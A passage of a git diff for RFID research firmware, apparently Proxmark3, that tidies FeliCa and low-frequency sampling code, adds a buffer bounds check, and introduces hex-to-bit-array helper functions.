Dbprintf("Error: TransmitFor18092_AsReader does not check or set parameter NYI_timing_NYI"); return; } uint16_t flags = FPGA_MAJOR_MODE_HF_ISO18092; - if (power) + + if (power) { flags |= FPGA_HF_ISO18092_FLAG_READER; - if (highspeed) + } + + if (highspeed) { flags |= FPGA_HF_ISO18092_FLAG_424K; + } FpgaWriteConfWord(flags); @@ -419,9 +437,13 @@ static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const // stop when button is pressed // or return TRUE when command is captured bool WaitForFelicaReply(uint16_t maxbytes) { - if (g_dbglevel >= DBG_DEBUG) + + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("WaitForFelicaReply Start"); + } + uint32_t c = 0; + // power, no modulation FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); @@ -433,12 +455,19 @@ bool WaitForFelicaReply(uint16_t maxbytes) { uint32_t timeout = iso18092_get_timeout(); for (;;) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); + Process18092Byte(b); + if (FelicaFrame.state == STATE_FULL) { - felica_nexttransfertime = MAX(felica_nexttransfertime, + + felica_nexttransfertime = MAX( + felica_nexttransfertime, (GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME); LogTrace( @@ -449,10 +478,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) { NULL, false ); + if (g_dbglevel >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL"); + return true; + } else if (c++ > timeout && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC)) { + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); + return false; } } @@ -478,8 +512,9 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { // DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE)); - felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; - iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card + felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418 + // iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card + iso18092_set_timeout(1060); // 106 * 10ms maximum start-up time of card init_table(CRC_FELICA); diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 4ec5c4b60..38d6558d8 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -118,7 +118,9 @@ static size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { volatile uint8_t adc_val = AT91C_BASE_SSC->SSC_RHR; - if (g_logging) logSampleSimple(adc_val); + if (g_logging) { + logSampleSimple(adc_val); + } // Only test field changes if state of adc values matter if (wait == false) { @@ -157,7 +159,10 @@ static size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { } } - if (g_logging) logSampleSimple(0xFF); + if (g_logging) { + logSampleSimple(0xFF); + } + return 0; } @@ -210,16 +215,18 @@ void lf_init(bool reader, bool simulate, bool ledcontrol) { sc->averaging = 0; FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); + if (reader) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); } else { - if (simulate) - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); - else - // Sniff - //FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); + if (simulate) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + } else { + // Sniff + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + // FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); + } } // Connect the A/D to the peak-detected low-frequency path. @@ -261,7 +268,9 @@ void lf_init(bool reader, bool simulate, bool ledcontrol) { uint32_t bufsize = 10000; // use malloc - if (g_logging) initSampleBufferEx(&bufsize, true); + if (g_logging) { + initSampleBufferEx(&bufsize, true); + } lf_sample_mean(); } diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index ec79630eb..a54eeedc1 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -246,12 +246,13 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool **/ void LFSetupFPGAForADC(int divisor, bool reader_field) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - if ((divisor == 1) || (divisor < 0) || (divisor > 255)) + if ((divisor == 1) || (divisor < 0) || (divisor > 255)) { FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz - else if (divisor == 0) + } else if (divisor == 0) { FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - else + } else { FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); + } FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (reader_field ? FPGA_LF_ADC_READER_FIELD : 0)); @@ -623,12 +624,14 @@ void doT55x7Acquisition(size_t sample_size, bool ledcontrol) { // skip until first high samples begin to change if (startFound || sample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { // if just found start - recover last sample - if (!startFound) { + if (startFound == false) { dest[i++] = lastSample; startFound = true; } // collect samples - dest[i++] = sample; + if (i < bufsize) { + dest[i++] = sample; + } } } } @@ -698,13 +701,15 @@ void doCotagAcquisition(void) { firstlow = true; } - ++i; if (sample > COTAG_ONE_THRESHOLD) { dest[i] = 255; + ++i; } else if (sample < COTAG_ZERO_THRESHOLD) { dest[i] = 0; + ++i; } else { dest[i] = dest[i - 1]; + ++i; } } } diff --git a/armsrc/util.c b/armsrc/util.c index 940904fe0..84a5aee69 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -31,67 +31,110 @@ size_t nbytes(size_t nbits) { } //convert hex digit to integer -uint8_t hex2int(char hexchar) { - switch (hexchar) { +uint8_t hex2int(char x) { + switch (x) { case '0': return 0; - break; case '1': return 1; - break; case '2': return 2; - break; case '3': return 3; - break; case '4': return 4; - break; case '5': return 5; - break; case '6': return 6; - break; case '7': return 7; - break; case '8': return 8; - break; case '9': return 9; - break; case 'a': case 'A': return 10; - break; case 'b': case 'B': return 11; - break; case 'c': case 'C': return 12; - break; case 'd': case 'D': return 13; - break; case 'e': case 'E': return 14; - break; case 'f': case 'F': return 15; - break; default: return 0; } } +/* +The following methods comes from Rfidler sourcecode. +https://github.com/ApertureLabsLtd/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/ +*/ +// convert hex to sequence of 0/1 bit values +// returns number of bits converted +int hex2binarray(char *target, char *source) { + return hex2binarray_n(target, source, strlen(source)); +} + +int hex2binarray_n(char *target, char *source, int sourcelen) { + int count = 0; + + // process 4 bits (1 hex digit) at a time + while (sourcelen--) { + + char x = *(source++); + + *(target++) = (x >> 7) & 1; + *(target++) = (x >> 6) & 1; + *(target++) = (x >> 5) & 1; + *(target++) = (x >> 4) & 1; + *(target++) = (x >> 3) & 1; + *(target++) = (x >> 2) & 1; + *(target++) = (x >> 1) & 1; + *(target++) = (x & 1); + + count += 8; + } + return count; +} + +int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex) { + + int count = 0; + int byte_index = 0; + + // Clear output buffer + memset(hex, 0, bs_len >> 3); + + for (int i = 0; i < bs_len; i++) { + + // Set the appropriate bit in hex + if (bs[i] == 1) { + hex[byte_index] |= (1 << (7 - (count % 8))); + } + + count++; + + // Move to the next byte if 8 bits have been filled + if (count % 8 == 0) { + byte_index++; + } + } + + return count; +} + + void LEDsoff(void) { LED_A_OFF(); LED_B_OFF(); diff --git a/armsrc/util.h b/armsrc/util.h index 63e5f7eda..ecd884254 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -82,9 +82,12 @@ #endif size_t nbytes(size_t nbits); - uint8_t hex2int(char hexchar); +int hex2binarray(char *target, char *source); +int hex2binarray_n(char *target, char *source, int sourcelen); +int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); + void LED(int led, int ms); void LEDsoff(void); void SpinOff(uint32_t pause);